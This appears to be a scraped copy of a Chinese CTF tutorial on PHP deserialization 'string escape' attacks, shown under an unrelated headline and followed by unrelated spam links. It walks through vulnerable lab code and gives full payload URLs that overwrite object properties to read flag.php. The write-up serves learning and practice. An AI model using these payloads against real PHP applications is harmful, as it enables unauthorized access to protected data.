当前位置: 首页 > news >正文

网站建设图标中国建设信用卡积分兑换网站

网站建设图标,中国建设信用卡积分兑换网站,在线设计平台有什么用,徐州做网站管理的公司Web渗透—PHP反序列化 课程学习分享#xff08;课程非本人制作#xff0c;仅提供学习分享#xff09; 靶场下载地址#xff1a;GitHub - mcc0624/php_ser_Class: php反序列化靶场课程#xff0c;基于课程制作的靶场 课程地址#xff1a;PHP反序列化漏洞学习_哔哩…Web渗透—PHP反序列化        课程学习分享课程非本人制作仅提供学习分享 靶场下载地址GitHub - mcc0624/php_ser_Class: php反序列化靶场课程基于课程制作的靶场 课程地址PHP反序列化漏洞学习_哔哩哔_bilibili 十五、字符串逃逸例题-增多 1.实例代码 目标判断是否passescaping ?php function filter($name){$safearray(flag,php);$namestr_replace($safe,hack,$name);return $name; } class test{var $user;var $passdaydream; //pass默认值为daydreamfunction __construct($user){$this-user$user;} } $param$_GET[param]; //$_GET[‘param’]获取值给$param $paramserialize(new test($param)); //并放在实例化test里作为参数实例化触发__construct赋值给user $profileunserialize(filter($param)); //对$param值进行安全性检查filter把”flag”,”php”替换为”hack”然后在反序列化 if ($profile-passescaping){ //判断pass是否为escapingecho file_get_contents(flag.php); } ? 2.解题过程 思路 1字符串过滤后减少还是增多 2构造出关键成员属性序列化字符串 3增多则判断一次吐出多少个字符串 4构造payload并提交 构造关键成员属性序列化字符 ?php class test{var $user123; //任意字符var $passescaping; } echo serialize(new test()); ? O:4:test:2:{s:4:user;s:3:123;s:4:pass;s:8:escaping;} php被替换成hack字符串增多会吐出字符串变成结构代码一个php吐出1个字符串 flag被替换成hack字符串不变无法吐出字符串变成结构代码 ;s:4:pass;s:8:escaping;} $user可控我们通过param参数进行传参我们需要将$pass及其参数吐出同时我们需要补全前面$user的序列化结构所以我们需要吐出29个字符 构造payload URL?paramphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp;s:4:pass;s:8:escaping;} 3.回显结果 利用构造的pyload进行参数传递得到flag页面无法直接回显需要查看网页源代码 ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}十六、字符串逃逸例题-减少 1.实例代码 目标判断vip是否为真 ?php function filter($name){$safearray(flag,php);$namestr_replace($safe,hk,$name);return $name; } class test{var $user;var $pass;var $vip  false ; //vip默认值为falsefunction __construct($user,$pass){$this-user$user;$this-pass$pass;} } $param$_GET[user]; $pass$_GET[pass]; $paramserialize(new test($param,$pass)); $profileunserialize(filter($param)); //对$parm值user进行安全性检查filter把flag,php替换为hk,然后在反序列化 if ($profile-vip){ //判断vip值是否为真echo file_get_contents(flag.php); } ? 2.解题过程 思路 1字符串过滤后减少还是增多 2构造出关键成员属性序列化字符串 3减少则判断吃掉的内容并计算长度 4构造pyload并提交 构造关键成员属性序列化字符 ?php class test{var $user 123; //任意字符var $pass 123; //任意字符var $vip true; } echo serialize(new test()); ? O:4:test:3:{s:4:user;s:3:123;s:4:pass;s:3:123;s:3:vip;b:1;} php被替换成hk字符串减少会吃掉字符串变成结构代码一个php吃掉1个字符串 flag被替换成hk字符串减少会吃掉字符串变成结构代码一个flag吃掉2个字符串 ;s:4:pass;s:3:123;s:3:vip;b:1;} $user和$pass可控我们通过user和pass参数进行传参我们需要将$pass及其参数吃掉只保留参数内容以及结构  符号同时我们需要补全前面$user的序列化结构所以我们需要吃掉19个字符flag每次吃掉2个字符吃19个字符最少要吃10次所以我们会多吃1位在后面字符位置补 在PHP中当进行序列化时字符串的长度标识小于两位时会被算作两位的原因是为了确保序列化后的数据能够正确地被反序列化。在PHP的序列化中字符串的长度使用一个表示字符数的整数来进行标识。 构造payload URL?userflagflagflagflagflagflagflagflagflagflagpass1;s:4:pass;s:3:123;s:3:vip;b:1;} 3.回显结果 利用构造的pyload进行参数传递得到flag页面无法直接回显需要查看网页源代码 ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}
http://www.hkea.cn/news/14329092/

相关文章:

  • 网站官网建设的价格嵌入式应用软件开发
  • 企业网站做几个合适广州网络推广营销公司
  • 网站服务器自己做手机网站建设费用价格
  • 公司网站的留言板怎么做做网站上哪买空间
  • 邯郸网站建设企业自建网站网址
  • 网站流量报表动易sitefactorycms 网站配置保存不了问题
  • 有没有一个网站做黄油视频网站建设论文任务书
  • 哪里有免费的网站源码嘉定php网站开发培训
  • 山东自助seo建站导航类网站怎么做排名
  • 建论坛网站多少钱东莞seo服务商
  • 淮南市城乡建设局网站阿里 网站建设
  • 哪里有免费的网站网址文章响应式网站
  • 台州网站建设平台国外的网页制作网站
  • 网站建设需求分析流程图多媒体展厅公司
  • 红酒专业网站建设北京青鸟培训机构哪家是正规的
  • 如何做网站答题领红包链接石家庄区号
  • 金融企业网站建设公司上海市建上海市建设安全协会网站
  • led灯散热片技术支持 东莞网站建设Wordpress获取自定义分类
  • 磁业 东莞网站建设福步外贸论坛app下载
  • 哪家做网站做得好创客贴网页设计网站
  • 潍坊网站优化公司哪家好佛山网站开发公司电话
  • soho怎么做网站win7局域网网站开发
  • 江苏盐城有做淘宝网站的吗网站哪家做得好
  • 做带支付平台的网站音乐网站用什么语言做
  • 广东外贸网站建设企业专业苏州房产网站建设
  • 网站维护员工作内容qq邮箱网页版登录
  • 深圳龙华公司分类目录seo wordpress
  • 网站seo案例企业网站包含哪些页面
  • 宁波网站建站公司修改新wordpress密码
  • 义乌市做网站vps被攻击网站打不开ping值高